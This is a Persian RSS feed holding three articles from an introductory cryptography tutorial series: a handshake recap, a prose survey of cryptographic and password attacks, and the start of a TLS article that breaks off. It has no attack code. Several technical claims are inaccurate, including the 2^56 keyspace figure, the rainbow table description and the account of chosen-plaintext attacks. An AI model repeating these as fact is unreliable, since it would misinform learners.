<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
    <channel>
        <title>پست‌های انتشارات رمزنگاری مقدماتی به زبان ساده</title>
        <link>https://virgool.io/b-crypto/feed</link>
        <description>رمزنگاری به زبان ساده سری مقالات رمزنگاری هست که برای متخصصین امنیت تدوین شده که آن هارا به صورت تئوری و عملی با مفاهیم و حملات رمزنگاری آشنا میکند</description>
        <language>fa</language>
        <pubDate>2026-06-16 22:04:11</pubDate>
        <image>
            <url>https://files.virgool.io/upload/publication/eaiqalddepjh/hbeeyk.jpg</url>
            <title>رمزنگاری مقدماتی به زبان ساده</title>
            <link>https://virgool.io/b-crypto</link>
        </image>

                    <item>
                <title>رمزنگاری مقدماتی : مرور و جمع بندی</title>
                <link>https://virgool.io/b-crypto/crypto13-sqex8ytyqpze</link>
                <description>رمزنگاری مقدماتی به زبان ساده : مرور و جمع بندیدر این مقاله که آخرین قسمت از سری رمزنگاری مقدماتی به زبان ساده هست میخوایم بریم سراغ یه مثال و عملی باهم هرچیزی که گفتیم رو ببینیم و بررسی کنیم چطوری میتونیم به سه هدفی که داشتیم یعنی Integrity یا صحت پیام ، Authentication یا احراز هویت و Confidentiality یا محرمانگی برسیم در این سناریو ما همه چیزو بهم میچسبونیم ، و این سازوکار هر الگریتم امنیتی ای هست که تاحالا یادگرفتیم ، مثل SSL-TLS - IPSEC -SSH و هر پروتوکولی که در آینده بیاد ما 5 مرحله داریم : 1 - Protocol Negotiation 2 - Authentication 3 - Key Exchange 4 - Session Key Derivation 5 - Secure Communication فاز اول : در فاز 1 هردو باهم توافق میکنن که از چه پروتوکولی هایی استفاده کنن ، لازم به ذکره که هم الکس و هم رز همه این مراحلو باهم طی میکنن  :13-1در اولین قدم ، برای دستیابی به Confidentiality میرن سراغ استفاده از پروتوکول های رمزنگاری متقارن مثل :3DES-AES-CHACHA20 و ... ، و برای Integrity میرن سراغ HMAC و الگریتم های هشینگ ، مثل MD5 - SHA1 و .. ؛ مورد بعدی Secret key هست که جفتی باید حتما داشته باشن ، پس میرن سراغ یه الگریتم تبادل کلید انتخاب کنن، همونطور که گفتیم یا دفی هلمن یا RSA یا ورژن منحنی بیضوی دفی هلمن یا از قبل اصلا باهم ساخته باشنش (Pre-shared -OOB) ؛ و باید هویت همدیگه رو هم اعتبار سنجی کنن پس برای این کارم باید سر پروتوکولش توافق کنن ، مثل RSA یا Digital Certificate یا اصلا Pre-shared Keys و...همچنین تو این مرحله یه عدد رندوم هم میسازن و بهم دیگه میدن ، هدفش رو بعدا بهتون میگم و یادتون باشه ولی بدونید که این برای ساخت session استفاده میشه که هر session رو منحصر به فرد بکنه ، و جلوگیری بکنه از شنود session (جلوگیری از Session Replay Attack میکنه ، یعنی اینکه اگر مقدار session رو مهاجم بدست اورد نتونه Replay اش بکنه ، یعنی نیاد ازش استفاده کنه و خودشو به عنوان یکی دیگه جا بزنه)نکته : این که میگیم توافق میکنن یعنی اینکه مثلا الکس میاد میگه آقا من از MD5 و SHA1 و SHA2 ساپورت میکنم ، رز میگه من فقط از MD5 ساپورت میکنم ، پس جفتی روی MD5 توافق میکنن ، یا اینکه رز میگه من MD5  و SHA1 ساپورت میکنم و جفتی روی SHA1 توافق میکنن که بالاترین امنیت رو داره (همیشه یادتون باشه که تفاهم اصل قضیس ، اگر یدونه الگریتم رو فقط یکی از طرفین ساپورت بکنه ، اون الگریتم برای دو طرف انتخاب میشه ، اما اگر تعداد گزینه ها زیاد باشه ، امن ترینشون انتخاب میشه)پس تا اینجا سر 4 تا چیز باهم توافق کردن و هر کدوم یه عدد رندوم ساختن و به هم دیگه دادن 13-2تو اینجا ما هندشیک سه تا پروتوکول رو میبینیم ، تو SSH ما این فاز رو توی چند پکت ابتدایی داریم ، توی SSL-TLSتوی دوتا پیام اول یعنی client hello و  server hello داریمش ، توی IPSEC ما توی پکت های اول و دوم داریمشفاز دوم : وقتی این فاز تموم شد میریم سراغ فاز دوم که مهم ترین بخشه که مطمئن شیم کسی که باهاش صحبت میکنیم همونیه که باید ، ، این فاز هم چیز خاصی نداره و ما یه متدی رو داریم ، یا از قبل انتخاب کردیم که اگر صحبت کنیم و یه کد خاصی رو بدیم به هم یعنی ما همونیم ، یا مثلا اسم رمز خاصی بینمونه (گربه سیاه مثلا) ؛ یا بهم دیگه Certificate بدیم ، یا از طریق کلید عمومی هم دیگه که RSA Public Key هست بفهمیم واقعا طرف خودشه !فاز سوم : میریم فاز سوم و بریم سراغ تبادل کلید : میتونیم از الگریتم دفی هلمن استفاده کنیم (یا ورژن منحنی بیضویش) یا RSA استفاده کنیم در تمامی این روش ها هدف ما تفاهم سر SEED هست و انتقال اون به طرف مقابل ، یعنی یا با دفی هلمن جفتی به یه SEED میرسیم ، یا با RSA یکی از طرفین یه SEED میسازه و با کلید خصوصیش رمز میکنه و میده به اون یکی که با کلید عمومی فرستنده بازش کنه فاز چهارم : حالا میریم فاز 4 و ساخت Session Keys ؛ اینجا یکم مطالب سنگین میشه ، پس با دقت بخونید :ما 5 تا چیزو باهم ترکیب میکنیم برای رسیدن به کلید ، اولین چیز دوتا عدد رندومیه که تو فاز اول ردوبدل شد ، این دو عدد برای هر سشن متفاوته و باعث تفاوت کلید ها و جلوگیری از شنود میشه (چون برای سشن جدید باید عدد رندوم جدید ایجاد بشه)؛ بعد ما یه مقدار از مرحله Authentication استفاده میکنیم ، چون مطمئن نیستیم که این عدد رندوم حتما از سمت اونیه که میخوایم یا نه (چون قبل فاز احراز هویت ردوبدل شده) پس میاییم و یه چیزی از فاز Authentication هم قاطی میکنیم که من توی عکس با حرف A نشونش دادم ، بعدیش مقدار SEED هست که داریمش، و در نهایت یه # گذاشتم که به معنی یه دیتا رندوم هست ، چرا حالا؟ از کجا میاد؟ ممکنه یه عدد ساده باشه یا حرف ساده .. برای این میاد که بتونیم چندین کلید بسازیم ، چون مقادیر RR و A و S ثابته ، ما اگر بخوایم چند تا کلید داشته باشیم باید بریم سراغ یه چیزی که الگریتم هش مون رو عوض کنه و اون هرچیزی میتونه باشه (چه کوچیک چه بزرگ فرقی نداره) ، پس اینم مد نظر داشته باشیدحالا میریم سراغ کلید ها ، ما 4 تا کلید میسازیم (برای اکثر الگریتم ها اینطوریه) : دوتا کلید متقارن برای الکس و رز و دوتا کلید مخصوص MAC برای الکس و رز ، این 4 تا کلید تضمین میکنن که دیتایی که از سمت الکس به رز ارسال میشه ، جدا و منحصر به فرد رمز میشه نسبت به دیتایی که از سمت رز به الکس ارسال میشه خوبیش اینه که اگر الکس و رز بخوان یه متن یا فایل یکسان به هم دیگه بفرستن ، وقتی شنود میشه متفاوت میشه و اگر کلید های یکی از این افراد لو بره ، فقط ارتباط یک طرف لو رفته و هردو طرف به خطر نمی افتنبرای اینکه قشنگ تر درک کنید، توی عکس در مرحله 4  من 4 تا کلید کشیدم ، دو جفت کلید ، یه جفت کلید قرمز و ابین و یه جفت زرد و سبز ، اینطوری فرض کنید که وقتی کلید ساختن ، الکس امده یه کلید متقارن برای رمزنگاریش ساخته و اون کلید قرمزه که دست خودشه و همونو رز هم داره ، رز هم یه کلید متقارن ساخته که ابیه و هم خودش داره هم الکس ، به همین ترتبیت الکس هم یه کلید واسه MAC خودش داره که زرده و دادتش به رز ، رز هم یه کلید برای MAC خودش داره که سبزه و دادتش به الکسرخ کار :)فاز پنجم : و در نهایت در فاز 5 هم با خوشی و خوشحالی شروع میکنن به برقراری ارتباط ، با کلید های متقارن Confidentiality رو بدست میارن ، با کلید های MAC هم Integrity و هم Authentication رو بدست میارن (چرا ؟ چون تو مرحله 2 بدست اوردن و تو مرحله 4 قاطی فرایند ساخت کلیدشون کردن) و میرن حال میکنن :)امید وارم این سری مقالات به دردتون خورده باشه ، منتظر نظرات ریز و درشت شما هستم ، هرجاش که احساس کردید بهتره تغییر کنه بهم بگیدهرجاشم نفهمیدید یا احساس کردید کامل جا نیفتاده بهم بگید، حتما جواب میدم رمزنگاری چیزیه که باید چند بار بخونید و درکش کنید ، اصلا حفظی و آسون نیست ، اونطوریم سخت نیست ولی خب تلاش نیازه منتظر سری پیشرفته باشید و با حمایت و بازنشر از این سری ، من مشتاق تر میشم برای نوشتن سری پیشرفته XDبه پـــــــایـــــــــان آمد این دفتر، حکـــــــــایت همچنان باقـــــــیست .....</description>
                <category>رمزنگاری مقدماتی به زبان ساده</category>
                <author>محمد حسن پزشکیان</author>
                <pubDate>Sat, 11 Nov 2023 00:52:04 +0330</pubDate>
            </item>
                    <item>
                <title>رمزنگاری مقدماتی : بررسی حملات رمزنگاری</title>
                <link>https://virgool.io/b-crypto/crypto12-dbieccsv5sxg</link>
                <description>رمزنگاری مقدماتی به زبان ساده : حملات رمزنگاریدر این مقاله میخوایم انواع حملات رمزنگاری رو بررسی کنیم و ببینیم اساسا چند نوع حمله داریم و چطوری اجرا میشن ؟ این نکته رو من در انتهای این مطلب خیلی باز میکنم ، ولی به صورت کلی بدونید که وقتی اسم حملات رمزنگاری میاد ، ما :1-  از ضعف کلیدی که استفاده شده سوء استفاده میکنیم (یعنی کلید خیلی کوتاهه یا سادست)2- یا الگریتم رو آنالیز میکنیم و ازش مشکل امنیتی پیدا میکنیم 3- یا روی پیاده سازی الگریتم نقص پیدا میکنیم پس این سه مورد رو خاطرتون باشه که جلوتر هم میشکافمشون هم میخوایم درک کنیم کدوم حمله به کدوم دسته اختصاص داده میشه نکته : دقت کنید که هدف ما از حملات رمزنگاری اینه که کلا هرجا به Cipher Text خوردیم ، بتونیم راحت برسیم به Plain Text امنیت کلید : برای دسته اول که گفتم بهتون ، فارغ از الگریتم ، ما میریم سراغ KeySpace یا فضای کلیدمون ، برای مثال الگریتم سزار رو بیایید بررسی کنیم : تو الگریتم سزار اگر حروف رو شیفت یک حرفی روبه جلو بدیم A میشه B ، اگر شیفت سه حرفی بدیم A  میشه D  ، اگر شیفت 26 حرفی بدیم ، A همون A میشه ، اگر شیفت 27 حرفی بدیم چی؟ A میشه B و با شیفت یک حرفی فرقی نداره :1 Word Shift : A-&gt;B3 Words Shift : A-&gt;D26 Words Shift : A-&gt;A27 Words Shift : A-&gt;Bپس میبینیم که بیشتر از 25 تا نمیتونیم شیفت بدیم ، اینجاست که میرسیم به مفهومی به اسم فضای کلید ، هرچقد فضای کلید ما کمتر باشه ، الگریتم هرچقدرم قوی باشه باز کلید ضعیف باعث میشه CT سریع دیکریپت بشهفضای کلید ما در الگریتم سزار خیلی کوچیکه و 25 تاست ، و 25 تا حدس بیشتر نیاز نیست که الگریتم ما افشا بشه(به حمله حدس زدن میگن Brute Force که یکم جلوتر میرسیم بهش)الگریتم های جدید نسبت به Brute Force مقاومن ، مثلا الگریتم DES از کلید 56 بیتی استفاده میکنه ، دو رو به توان 56 برسونیم میشه : 7205759403792793672 کوادرلیون احتمال وجود داره که این کلید چی باشه ، اگر بریم سراغ AES 128 بیتی : 340282366920938463463374607431768211456میتونید بخونیدش؟ الا بریم سراغ AES 256 ، یعنی 2 به توان 256 : 115792089237316195423570985008687907853269984665640564039457
584007913129639936توجه کنید که کرک کردن کلید 56 بیتی بالا که اشاره کردیم الان خیلی سادست ، کافیه برید یکی از این سایت های VPS Provider و یه سرور گرافیکی بخرید با 64 هسته و بندازیدش به جون این رمز و زیر یک ساعت بهتون جوابتو تحویل میده حالت های مختلف حملات : 1. Known Plaintext only attack : این دسته از حمله به این صورته که مهاجم به یک PT و CT نظیرش دسترسی داره ، و میخواد الگریتم و کلیدو کشف کنه 2. Known Ciphertext only attack : مهاجم فقط به CT یا متن خروجی دسترسی داره و هیچ چیز دیگه ای نمیدونه ، مثلا فقط متن رمزنگاری شده رو میدونه ، نه میدونه کلید چیه نه الگریتم چیه نه PT چیه ، یا مثلا فقط یه هش داره 3. Chosen Plaintext attack : مثل مورد اوله ولی فرقش اینجاست که مهاجم دسترسی داره که PT خودشو بده و CT مربوطه براش تولید بشهدر اینجا مهاجم به کلید و الگریتم دسترسی داره و با دادن PT خودش ، نتیجه رو آنالیز میکنه که ببینه الگریتم و کلید چطوری روی PT اثر میزارن و CT رو تولید میکنن4. Chosen Ciphertext attack : این مورد هم مثل مورد دومه ولی فرقش اینه که یدونه CT دیگه نیست ، تعداد CT ها زیاده و مهاجم میتونه به روشی CT خودشو بسازه این روش برای حمله به الگریتم های نامتقارن استفاده میشه که کلید عمومی در اختیار هست و مهاجم سعی میکنه به کلید خصوصی برسه 5. Adaptive chosen plaintext/ciphertext attack : مثلا مورد 3و4 هست و ولی مهاجم میتونه توی رمزنگاری های بلوکی ، مهاجم میتونه PT یا CT خودشو توی هر بلوک انتخاب کنه و نتیجرو ببینه (نسبت به نتایج قبل)زیاد درگیر اینا نشید و توی سری پیشرفته بیشتر بازشون میکنیم ، ولی بریم یه سری حملات رو ببینیم :انواع حملات : Brute Force Attack Dictionary Attack Rainbow Table Side Channel Attacks Fault Injection Attacks Timing Attacks Birthday Attacks Frequency Analysis 1. توی حمله اول یا Brute Force ما با یه CT سروکار داریم که هیچی ازش نمیدونیم و میخوایم بریم سراغ امتحان کردن همه حالت های ممکن که برسیم به PT ، این حمله از دسته اوله (Known Plaintext) و یا گاهی دوم(Known Cipher Text) هست و معمولا نوع اول و یا دوم حملات رو شامل میشه (اکثرا معتقدن نوع اوله )حمله برو فورس میاد هر ترکیب ممکن رو پیاده میکنه که نتیجه بگیره ، مثلا شما یه قفل قدیمی کیفی دارید که سه تا رقم میگیره که باز بشه ، پس رقم ها از 000 تا 999 میرن و شما باید 1000 تا مورد رو امتحان کنیداین حمله خیلی قویه و درصد احتمال اینکه موفقیت امیز باشه خیلی بالاست ولی خیلی زمان بره نکات مربوط به Brute Force رو بالاتر توی بخش امنیت کلید گفتم ، یه بار دیگه بخونیدش (با این دیدی که الان دارید ، بیشتر متوجه خواهید شد)نکته : ی مورد خیلی ریز و مهمی که هست اینه که الگریتم های امروزی درمقابل حملات بروت فورس با کلید قوی مقاومن ، ولــــــی اگر الگریتم بیاد و یه طوری محدویت بزاره برای طول کلید و شما مجبور بشید طول کلید ضعیفی انتخاب کنید ، حملات Brute Force ممکن خواهد بود ، مثال ؟ WEP و حمله ای که بهش میشهتوی بروت فورس ما یه لیست از پسورد داریم که از aa, aaa, aaaa, aaaaa, aaaaaa, bb,bbb و.. گرفته تا اعداد و ارقام و ترکیبات پیشرفته 2. توی حمله دوم یا Dictionary Attack ما بجای اینکه هر چیز ممکنی  رو امتحان کنیم ، یکم هوش بخرج میدیم و کلماتی که احتمالش هست رو امتحان میکنیم مثلا اگر پسورد اکانت کسی رو میخوایم کرک کنیم میریم سراغ اسمش ، فامیلیش ، تاریخ تولدش، شمارش و.. و یه لیستی میسازیم که احتمال استفاده شدن ازش بیشتر باشه توی این روش ما یه لیست اینطوری داریم : ali, ali918,alighaemi  و...چون انسان موجودی فراموش کاره پس احتمال زیاد از کلماتی استفاده میکنه که بیشتر یادش میمونه ، مثل اسم فامیلی کد ملی شماره تلفن و .. پس استفاده از اینا احتمال موفقیت امیز بودن حمله رو بیشتر میکنه3. قبل حمله سوم که Rainbow Table هست بگم که ما یه  Pre Computed Table هم داریم ، به این صورته که وقتی میخوایم ببینیم مقدار یه Hash چقدره یا اصطلاحا هشو کرک کنیم (Crack) و بهش حمله کنیم ، میاییم و یه لیست اماده میکنیم ، حالا چه از روش Brute Force چه از روش Dictionary و تک تک ایتمای اون لیستو با الگریتم مورد نظر هش میگیریم و در انتها میاییم اون هشی که میخواستیم کرک کنیم رو توی لیست سرچ میکنیم ببینیم متن نظیرش تو لیست چی هست ، قبلا هم اشاره کردم تو این سری و یه سری سایت هم هستن که این کارو برای ما میکننآمـــــــا ، توی این روش ما میاییم چیکار میکنیم ؟ فرض کنیم ما یه کلمه داریم و از اون رسیدیم به یه هشی ، مثلا چی؟ مثلا این کلمه : virgool و از این کلمه با MD5 هش میگیریم که میشه : 889c91ac0c322f57248b7dc1d93af971حالا میاییم و از 5 کاراکتر اولش جدا هش میگیریم ، یعنی از &quot;889c9&quot; جدا هش میگیریم که میشه : fc50cbf06d495182fa0a66f7795977e2دوباره از 5 کاراکتر اول این هش جدید هش میگیریم و همینطور ادامه میدیم ، اینطوری یه Pre Computed Table انگار ساختیم ولی به وسیله روش Brute Force و این روش اگر انجام بشه ، ما لیست هش بسیار جامعی از تمامی عبارات رندوم داریم 4 . حمله چهارم یا Side Channel Attack که یک حمله بسیار مبتکرانست ، روشش به چه صورته ؟ من یه بار اینو با یه مثال توضیح دادم تو این سری ، فرض کنید شما میخواید هندونه بخرید ، روش اصولی اینکه مطمئن بشید این هندونه خیلی شیرینه و خوبه چیه؟ اینه که قاچش کنید و بچشیدش ، ولی شما نمیتونید همه هندونه هارو تو مغازه باز کنید و اگر شیرین نبود نخرید، بجاش چیکار میکنید؟ هندونه رو میگیرید دستتون و چند تا ضربه میزنید که ببینید چقد سنگینه ، اگر سنگین تر باشه و صدا پوکی نده یعنی بهتره ، به رگه هاش نگاه میکنید اگر سبز نباشه رسیده است ، و.. ما همین روشو برای الگریتم های رمزنگاری هم انجام میدیم وقتی یک برنامه با یک الگریتم رمزنگاری و یه کلید ، میاد یه PT رو میکنه CT ، یک مقدار Cycle سیپیو مصرف میکنه ، یه زمان خاصی صرف میکنه و... و محققا فهمیدن که اگر مثلا الگریتم DES باشه 10 سایکل سیپیو مصرف میشه و اگر مثلا AES باشه 12 سایکل ، اگر طول کلید زیر 8 تا باشه مثلا 5 ثانیه طول میکشه ، اگر بالای 8 باشه ، 10 ثانیه طول میکشه و... پس اینطوری اگر آنالیز بکنن میفهمن که الگریتم چی بوده و یا طول کلید چقد بوده ، حالا شاید بگید خب این به چه دردی میخوره؟ یه سری اطلاعات ناقص چه کمکی میکنه ؟اگر تعداد حملات کانال جانبی یا Side Channel زیاد باشه میتونیم مثل یه حمله واقعی در نظرش بگیریم و میتونه باعث لیکیج کلید یا PT بشه https://onhexgroup.ir/%d8%ad%d9%85%d9%84%d9%87-%da%a9%d8%a7%d9%86%d8%a7%d9%84-%d8%ac%d8%a7%d9%86%d8%a8%db%8c-%d8%ac%d8%af%db%8c%d8%af-%d8%b1%d9%88%db%8c-cpu%d9%87%d8%a7%db%8c-%d8%a7%db%8c%d9%86%d8%aa%d9%84/ 5 . حمله Fault Injection به این صورته که ما میاییم و به اون دستگاهی که داره عملیات رمزنگاری رو انجام میده (معمولا قطعات سخت افزاری) ولتاژ بالا یا پایین میدیم ، یا دما رو بالا و پایین میکنیم و چیز های شبیه این که باعث بشه اون دستگاه عملکرد خودشو از دست بده و رمزنگاری رو ناقص یا اشتباه انجام بده یا Leakage یا نشتی داشته باشه 6. حمله Timing دقیقا همون مفهومیه که تو Side Channel توضیحش دادم ، گفتم یکی از کار هایی که تو کانال جانبی میکنیم سنجیدن زمانه ، اگر روی این مبحث حرفه ای وارد بشیم و خیلی زمان بزاریم ، میشه Timing Attack که ما روی زمان بندی انجام کار ها خیلی تمرکز میکنیم (اگر به مفاهیم سیستم عامل مسلط باشید ، ما مفهوم کوانتوم داریم که میشه 15 میلی ثانیه ، تایم های سیپیو و کرنل به میلی ثانیه سنجیده میشه و خیلی ریزه)7. میریم سراغ حمله تاریخ تولد یا Birthday Attack ، اگر یادتونه باشه توی این مقاله مفهوم لونه کبوتر رو بررسی کردم ، این هم همونه تقریبا حمله تاریخ تولد خیلی سادست ، فرض کنید ما یه اتاق داریم که 23 نفر توشن ، با احتمال تقریبا بیشتر از 50% دونفر توی این اتاق تاریخ تولدشون یکیه (ماه و روز)؛ نکته این حمله اینطوریه که ما باید احتمال هر دو نفر از این 23 نفر رو بررسی کنیم ، نه احتمال یک نفر خاص در مقابل همه توی یه اتاق ما 23 نفر داریم ، یعنی یک کاندیدا و 22 شانس ، اگر کاندیدای ما اسمش محمد باشه و تاریخ تولدش با 22 تای دیگه یکی نباشه ، از اتاق میره بیرون ، میمونه 21 شانس و یک کاندیدا دیگه ،و همینطور روند چک کردن رو ادامه میدیم و اگر مچ نبود میرن بیرون برای محاسبه چیکار میکنیم؟ 22 +21+20+19+18...+2+1 که میشه 253 جفت ، حالا هر جفت به احتمال 1 از 365 تاریخ تولدش با نفر بعدی یکیه (یک روز از سال ، یعنی یک روز و یک ماه خاص){اگر یکم ریاضیشو بخوام براتون بگم اینطوریه که ما 365 روز سال داریم ، اگر بخوایم احتمال اینکه دو نفر تاریخ تولد یکسان رو به اشتراک نگذارند رو بررسی کنیم 364/365 هست (سال کبیسته رو در نظر نگیریم) و اگر یه گروه n نفره داشته باشیم ، احتمال اینکه هیچ کدوم از اونا تاریخ تولد یکسان نداشته باشن میشه :و تو احتمالات بخوایم برعکس احتمال یه چیزیو بگیریم ، 1 رو منهای اون میکنیم ، پس 1 منهای نتیجه این میشه احتمال اینکه دونفر تاریخ تولد یکسان داشته باشن ، حالا اگر ما 253 جفت داشته باشیم (یعنی 23 نفر)}زیاد درگیر ریاضیات این حمله نشید ، فقط بدونید که این حمله برای کشف Collision توی الگریتم های Hashing استفاده میشه که توی این مقاله باهم بررسی کردیم مفهوم سادشو 8 . این مورد که مورد آخر هست و میشه گفت یه جورایی جزو Side Channel محسوب میشه ، بحث Frequency Analysis هست ، حمله تحلیل فرکانسی سعی میکنه پترن یا الگو رو بشناسه و با تکرار الگو در  CT پی ببره به یه سری چیز ها در PT ، مثلا اگر ما زبان انگلیسی رو مبنا قرار بدیم ، یه سری حروف خیلی رایج داره مثل E, T, O, A, I , N و اگر شما در CT حرفی مثل X رو ببینی احتمال خیلی زیاد الگریتم شیفت حروف بوده و امده E رو جایگزین کرده با X ، یا مثلا یه سری حروف در زبان انگلیسی به هم میچسبن مثل HE - SHE -THE US و.. که شما اگر در CT ببینید دو یا سه کاراکتر خیلی تکرار میشه ، میتونید مشکوک بشید که ممکنه یکی از این ترکیب ها استفاده شده باشه ، پس یه جورایی PT احتمالی رو بدست میاریدنکته : ما همیشه یه الاکلنگی داریم بین افزایش قدرت الگریتم و طول کلید و سرعت رمزنگاری و منابع مصرفی ، از طرفی ما هرچی بخوایم امنیت داشته باشیم باید محاسبات بیشتر داشته باشیم و زمان کمتر و هرچه بخوایم اینو کمتر کنیم ، خب امنیتو از دست میدیم نکته بعد اینه که چه زمانی یه الگریتم منسوخ میشه ؟ معمولا ساخت الگریتم رمزنگاری و تستش سال ها طول میکشه و چون بر اساس قواعد انکار ناپذیر ریاضیه ، از بین نمیرن ، اگر طراحی شون درست و اصولی باشه معمولا خیلی سال طول میکشه که کنار گذاشته بشن ، معمولا هم دلیلش ممکنه این باشه که سرعت پردازش زیاد بشه و کرک اون الگریتم با اون کلید مخصوص سریع تر بشه یا یه مشکل تو الگریتم کشف بشه و باعث لیکیج دیتا بشه که کنار گذاشته بشه ، پس الگریتم ها اینطوری نیستن که هر سال جدید ترشون بیاد و یا زود منقضی بشنحملات به کاربر ها و پیاده سازی الگریتم ها :  اکثر اوقات مهاجمان خیلی دانش فنی و یا وقت ندارن که الگریتمی که به الگریتمی حمله کنن که چندین سال امنیتش بررسی شده + کلید قوی و پیچیده ای هم درش استفاده شده ؛ پس بجاش میان به پیاده سازی و کاربر ها حمله میکنن تا کار خودشونو انجام بدنیک سری نکات که برای پیاده سازی ممکنه رعایت نشه و امنیت رو به خطر بندازه : بعد از استفاده از PT حتما از بین ببریمشاز دیتا Decrypt شده به خوبی محافظت نشه (چه توی پوشه tmp چه توی Memory ، چه توی Variable ها)سیستم هایی که از بیش از یک کلید استفاده میکنن باید از تمامی کلیداشون به یه اندازه محافظت کنن ، چون اگر امنیت یک کلید هم به خطر بیفته ، کلی دردسر ساز میشه و ممکنه امنیت کل سیستم به خطر بیفتهریکاوری کلید های قدیمی و ذخیره اون ها هم ممکنه دردسر ساز بشهمهاجمین ممکنه سراغ پسورد کاربر ها هم برن ، کاربر ها یا اغلب پسورد ساده میزنن که میشه با بروت فورس و دیکشنری از خجالتشون درآمد ، یا پسورد سخت میزارن که به سختی ممکنه یادشون بمونهو یا پسورد سخت  و متفاوت میزارن برای همه سایتاشون که اصلا یادشون نمیمونه(حالا اگر توی یه سازمانی باشید که Password Complexity براش مهم باشه که همه مجبورن پسورد سخت بزارن)پس یا روی ورقه کاغذی یا یه فایل متنی ساده این پسوردو مینویسن ، یا توی چتی یا مخاطبین یا پیامک ها ذخیره اش میکنن یا اگر خیلی حرفه ای باشن میرن سراغ Password Manager برای دزدیدن این پسورد ها میرن سراغ حملات مختلف پسورد ، مثلا از کیلاگر استفاده میکنن یا مثلا پسورد رو دامپ کنن و کرک کنن و یا ازش استفاده کنن برای دسترسی به کامپیوتر های دیگه و .... اوووه انقدر روش زیاده که نگویا مثلا وقتی دیتابیسی از یه سایت لیک میشه و پسورد ها در میاد ، اون پسورد ها خودشون یه پسورد لیست خوب حساب میشن ، حالا اگر بریم سراغ ایمیل ها و یا نام های کاربری ای که لیک شده و اونو روی سایت های دیگه تست کنیم میبینیم که بلههه روی چندین سایت موفقیت آمیز بود ، یا این پسورد رو یه نفر دیگه هم ممکنه انتخاب کرده باشه و ....بعضی جاها هم ممکنه از Certificate استفاده کنن بجای پسورد ، اگر این Certificate لو بره جریان چیه ؟ از CA رو بزنن چی؟ نکته ای که باید مد نظر داشته باشید اینه که بعضی از حملات شبکه ای که ما روی رمزنگاری و مخصوصا بخش احراز هویت داریم ، جزو حملات رمزنگاری نیست ، مثلا حملات Replay و یا دامپ و کرک پسورد از فایل Shadow یا  SAM و... این ها اکثرا همون مفاهیمیه که توضیح دادیم و چیز خاص و جدیدی نیست و اصولا جزو رمزنگاری محسوب نمیشه که بخواید درکش کنیددر اینجا حملات مربوط به رمزنگاری تموم شده ولی یه بخش اعظمی که میشه حملات روی پسورد ، حملات روی احراز هویت و حملات روی الگریتم ها و.. رو من توی سری حملات و امنیت در رمزنگاری (اگر بشه) به طور مفصل باز میکنم براتون ، مثلا حملات روی پسورد های ویندوز و حملات شبکه ای یا PTH-OPTH-PTT-Replay  و...که جزو اتک های حرفه ای حساب میشن رو میزاریم توی سری پیشرفته کامل بازش میکنیم ، چون خیلی پیش نیاز داره و باید بریم سراغ LSASS - NTLM -LM - KERBEROS و.. و بعد حملاتشون (این ها چون ربط مستقیم به رمزنگاری ندارن ، زود منتشر نمیشن و اولویت با خود رمزنگاریه)یه دسته دیگه هم میمونه که حملات سمت الگریتم هایی مثل SSL-TLS و.. هست و حملاتی مثل Hash Length Extension - Padding Oracle - Bit Filliping و.. (که این رو زودتر از همه میزنیم)دسته سومم میشن حملات روی Authentication سمت ویندوز و یا سمت وب و... (این هم زیاد ربط به رمزنگاری نداره ولی دوستان زحمتشو میکشن :) )و طبیعتا توی سری حملات و امنیت و یا سری پیشرفته ما مباحثی مثل اینکه چگونه از این الگریتم های برای کارهای مخرب استفاده میشه مثل Ransomware و یا C2 Data Exfiltration رو بررسی میکنیم که شما موقع تجزیه و تحلیل بدافزار بتونید اون الگریتم هارو شناسایی کنید و مشکلی تو این زمینه نداشته باشیدولی دیدی که اینجا گرفتید خیلی توی درک اون ها بهتون کمک میکنه قسمت بعدی یه جمع بندی مختصر از مهم ترین مطالب این سریه و تماااااام سوال یا ابهام یا انتقادی بود در خدمتم، یاعلی ;)</description>
                <category>رمزنگاری مقدماتی به زبان ساده</category>
                <author>محمد حسن پزشکیان</author>
                <pubDate>Sat, 11 Nov 2023 00:51:54 +0330</pubDate>
            </item>
                    <item>
                <title>رمزنگاری مقدماتی : بررسی امنیت پروتوکول های شبکه</title>
                <link>https://virgool.io/b-crypto/crypto11-txmbqvv58e41</link>
                <description>رمزنگاری مقدماتی به زبان ساده : درک امنیت پروتوکول های شبکه و مفاهیم Cipher Suite و Perfect Forward Secrecyدر این مقاله میخوایم به بررسی پروتوکول های شبکه و پروتوکول های امنیتی بپردازیم و نحوه کارشونو به صورت مختصر بررسی کنیم و دوتا مفهوم Cipher Suites و Perfect Forward Secrecy میریم ما توی این مقاله و بعدی سراغ این پروتوکول ها میریم : TOR-IPSEC-TLS-HTTPS-SSH-SFTP بررسی SSL - TLS و مفهوم Cipher Suites  : اولین پروتوکولی که میخوایم بررسی کنیم ، پروتکول TLS یا Transport Layer Security هست اگر خاطرتون باشه من چندین مقاله پیش گفتم که ما کلا دوتا راه داریم برای امن سازی ارتباطمون ، یکی اینکه پیام هارو تک به تک رمزکنیم ، یا یه تونل یا راه امن بسازیم و پیام هارو بدون رمز از توش منتقل کنیمبرای اینکه ما بتونیم یه تانل یا یه مسیر امن بسازیم و داشته باشیم ، آمدن یه پروتوکلی ساختن به اسم TLS ، این پروتوکول در هرجایی که بخوایم دیتا امن ردو بدل کنیم به کار میاد ، از این پروتوکول در کنار سایر پروتوکول های دیگه استفاده میکنن که اون هارو امن کنن، مثلا از TLS در کنار HTTP استفاده میکنن که امنش کنن و ما HTTPS رو داریم، درکنار SMTP استفاده میکنن که ما SMTPS رو داریم (اون S آخر همون TLS هست) ، ببینیم چطوری این مکانیزم کار میکنه : عکس 1این مکانیزم اسمش دست دادن TLS یا TLS Handshake هست ، اولین قدم اینه که کاربر پیام میده به سرور و میگه که میخوام باهات ارتباط امن برقرار کنم (TLS) ، و اینم پروتوکول هاییه که من ساپورت میکنم (بهش میگن Cipher Suite ، جلوتر میگمش کامل)در قدم بعد سرور میاد بررسی میکنه میگه اوکی من اینارو قبول داریم و بیاییم هردو از این پروتوکول های استفاده کنیم ، بیا مدرک دیجیتال منم بگیر قدم بعدی کاربر مدرک رو گرفته میره از CA اعتبار سنجی میکنه و اگر درست بود میاد و یه کلید میسازه و میده به سرور که باهم استفاده کنن و پیام هارو از این به بعد با اون رمز کننچند تا نکته :نکته : در مراحل 1و2و3 ما با کلید عمومی و خصوصی رمز گذاری و رمزگشایی میکنیم، در قدم اول ما وقتی به سرور پیام میدیم ، اون پیامو با کلید 